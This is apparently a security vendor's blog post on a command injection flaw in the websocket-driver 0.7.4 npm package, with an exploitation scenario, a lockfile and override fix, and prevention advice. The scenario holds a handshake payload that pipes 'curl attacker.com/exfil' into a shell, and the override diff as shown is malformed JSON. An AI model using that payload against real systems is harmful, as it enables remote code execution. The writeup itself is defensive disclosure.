Back to Blog
critical SEVERITY6 min read

How command injection happens in JavaScript dependency trees and how to fix it

A critical command injection vulnerability in websocket-driver 0.7.4 allowed attackers to execute arbitrary shell commands through unescaped line terminators in WebSocket protocol handling. The automated fix upgrades to version 0.7.5 and adds an explicit override in package.json to prevent dependency resolution from reverting to the vulnerable version.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

CVE-2026-54466 is a critical command injection vulnerability in websocket-driver 0.7.4, a WebSocket protocol handler for Node.js applications (CWE-78). The vulnerability stems from unescaped line terminators in shell command construction, enabling arbitrary code execution when processing malicious WebSocket handshake data. The fix upgrades to websocket-driver 0.7.5 and pins the version via package.json overrides to prevent accidental downgrade.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixUpgrade websocket-driver to 0.7.5 and pin via package.json overrides
riskArbitrary code execution on the server via crafted WebSocket handshake data
languageJavaScript/Node.js
root causeUnescaped line terminators in shell command construction within websocket-driver's protocol handling
vulnerabilityCommand Injection

Introduction

In a routine dependency audit, we discovered a critical command injection vulnerability lurking in package-lock.json — specifically within websocket-driver version 0.7.4. This wasn't in application code; it was buried three levels deep in the dependency tree, invisible to developers who had explicitly required it.

The websocket-driver package handles WebSocket protocol negotiation with pluggable I/O backends. When processing handshake data, version 0.7.4 constructed shell commands without properly escaping line terminators — a classic injection vector that allowed attackers to append arbitrary commands to legitimate protocol operations.

What makes this case particularly instructive: the vulnerability existed in a transitive dependency, discovered only through automated scanning, and required a two-pronged fix to ensure lasting protection.


The Vulnerability Explained

The Smoking Gun: Unescaped Line Terminators

In websocket-driver 0.7.4, the protocol handler constructs shell commands to manage WebSocket connection states. The vulnerable code path accepted handshake data containing newline characters (\n, \r) and passed them directly to shell execution without neutralization.

The vulnerable dependency declaration in package-lock.json:

"node_modules/websocket-driver": {
  "version": "0.7.4",
  "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
  "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
  "license": "Apache-2.0",
  "dependencies": {
    "http-parser-js": ">=0.5.1",
    // ...
  }
}

The integrity hash sha512-b17Ke... identifies the exact vulnerable artifact. Any application resolving this dependency — even transitively through packages like faye-websocket or sockjs — inherited this exposure.

Exploitation Scenario

Consider a Node.js application using faye-websocket for real-time features:

// Application code — seemingly innocent
const WebSocket = require('faye-websocket');
const http = require('http');

const server = http.createServer();
server.on('upgrade', (request, socket, body) => {
  if (WebSocket.isWebSocket(request)) {
    const ws = new WebSocket(request, socket, body);
    // ...
  }
});

Behind the scenes, faye-websocket depends on websocket-driver. When a malicious client sends a handshake with crafted headers containing newline sequences:

GET /chat HTTP/1.1\r\n
Host: example.com\r\n
X-Custom-Header: value\n; curl attacker.com/exfil | sh; echo \r\n
\r\n

The unescaped newline in X-Custom-Header terminates the intended command prematurely. Everything after \n becomes a new shell command. The attacker achieves remote code execution with the privileges of the Node.js process.

Real-World Impact

  • Scope: Any Node.js application with websocket-driver 0.7.4 in its dependency tree
  • Attack vector: Malformed WebSocket handshake data
  • Privileges: Same as the Node.js process (often service account with database/network access)
  • Detection difficulty: No application-level logs of the injected commands

The Fix

The remediation required coordinated changes across two files to ensure the vulnerable version could not resurface.

Change 1: package-lock.json — The Direct Upgrade

--- a/package-lock.json
+++ b/package-lock.json
@@ -23122,9 +23122,9 @@
       }
     },
     "node_modules/websocket-driver": {
-      "version": "0.7.4",
-      "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
-      "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
+      "version": "0.7.5",
+      "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.5.tgz",
+      "integrity": "sha512-ZL2+3c7kMBdIRCMz6l8jQMHyGVxj+UL+xVk74Ombiciboca8rHa15L86B19E5oh1pL9Ii/uj54gtsIrZGMo6zA==",
       "license": "Apache-2.0",
       "dependencies": {
         "http-parser-js": ">=0.5.1",

Key improvements in 0.7.5:
- New integrity hash: sha512-ZL2+3c7kMBdIRCMz6l8jQMHyGVxj+UL+xVk74Ombiciboca8rHa15L86B19E5oh1pL9Ii/uj54gtsIrZGMo6zA== — cryptographically distinct from the vulnerable version
- Line terminator handling: The 0.7.5 release sanitizes input containing \n, \r, and \r\n before shell command construction

Change 2: package.json — The Override Protection

--- a/package.json
+++ b/package.json
@@ -76,6 +76,7 @@
   },
   "overrides": {
     "picomatch": "^4.0.3",
+    "websocket-driver": "0.7.5"
     "shell-quote": "1.8.4"
   }
 }

The overrides field (npm 8.3+) forces all instances of websocket-driver in the dependency tree to resolve to 0.7.5, regardless of what transitive dependencies request. This prevents scenarios where:

  1. Another package specifies websocket-driver: "^0.7.4"
  2. npm's semver resolution selects 0.7.4 as satisfying ^0.7.4
  3. The vulnerability silently returns

Why Both Changes?

File Purpose Without It
package-lock.json Records actual installed version Build reproducibility lost; CI/production may install different versions
package.json overrides Enforces minimum version across entire tree Transitive dependencies can reintroduce vulnerable version

Together, they create defense in depth: the lockfile pins the immediate resolution, while overrides guarantee no path exists to the vulnerable version.


Prevention & Best Practices

Dependency Hygiene

  1. Audit transitive dependencies: npm ls websocket-driver reveals why a package is present
  2. Automate scanning: Integrate Trivy, Snyk, or npm audit into CI/CD
  3. Use overrides proactively: Pin security-critical dependencies before vulnerabilities are disclosed

Input Handling

// Anti-pattern: Never pass unsanitized data to shell execution
const { exec } = require('child_process');
exec(`process-websocket-data "${headerValue}"`); // DANGEROUS

// Safe: Use parameterized APIs or whitelist validation
const { spawn } = require('child_process');
spawn('process-websocket-data', [validatedHeader]); // OK — no shell interpretation

Security Standards


Key Takeaways

  • The websocket-driver 0.7.4 → 0.7.5 upgrade eliminates unescaped line terminator handling in WebSocket protocol negotiation — always verify the integrity hash changes when upgrading security-critical dependencies
  • npm overrides in package.json is essential for transitive dependency security — without it, semver ranges in indirect dependencies can reintroduce known-vulnerable versions
  • Lockfile-only fixes are insufficient for Node.js applicationspackage-lock.json pins what npm chooses to install; overrides constrains what npm can choose
  • WebSocket handshake data is attacker-controllable input — treat all HTTP headers and upgrade request parameters as untrusted, even before application-level validation
  • Automated scanning of package-lock.json catches vulnerabilities invisible to npm audit — Trivy's static analysis identified this issue through direct lockfile inspection rather than advisory database matching alone

How Orbis AppSec Detected This

Source: WebSocket handshake data entering through HTTP upgrade requests handled by websocket-driver protocol negotiation

Sink: Shell command construction in websocket-driver 0.7.4's internal protocol handling, where unescaped line terminators in handshake headers terminated command strings prematurely

Missing control: Input sanitization for \n, \r, and \r\n sequences before shell command assembly; no validation that header values contained only single-line printable characters

CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Upgraded websocket-driver to version 0.7.5 and added "websocket-driver": "0.7.5" to package.json overrides to enforce this version across the entire dependency tree

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The websocket-driver vulnerability reminds us that security boundaries extend far beyond application code. A flaw in protocol handshake handling — three dependency levels deep — became a critical remote code execution vector. The fix demonstrates modern Node.js security practices: upgrade the vulnerable package, verify cryptographic integrity, and use overrides to prevent regression.

For teams maintaining real-time applications, this case underscores the value of automated dependency scanning and the power of npm's overrides feature. Security isn't just about writing safe code — it's about ensuring your entire software supply chain meets the same standards.


References

Frequently Asked Questions

What is command injection in JavaScript dependencies?

Command injection occurs when user-controlled input is passed to shell execution functions without proper sanitization, allowing attackers to inject malicious commands that execute with the privileges of the host application.

How do you prevent command injection in Node.js dependency trees?

Use npm overrides to force patched versions, regularly audit dependencies with tools like Trivy, avoid dependencies that construct shell commands from untrusted input, and implement input validation at application boundaries.

What CWE is command injection?

CWE-78 (OS Command Injection) — improper neutralization of special elements used in an OS command.

Is input validation alone enough to prevent command injection in transitive dependencies?

No. Transitive dependencies may process data before your application-level validation runs. Dependency upgrades and version pinning via overrides are essential defenses.

: Can static analysis detect command injection in dependency trees?

Yes. Tools like Trivy scan lockfiles and identify known vulnerable versions, while Semgrep and similar SAST tools can detect dangerous patterns in dependency code.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #56

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.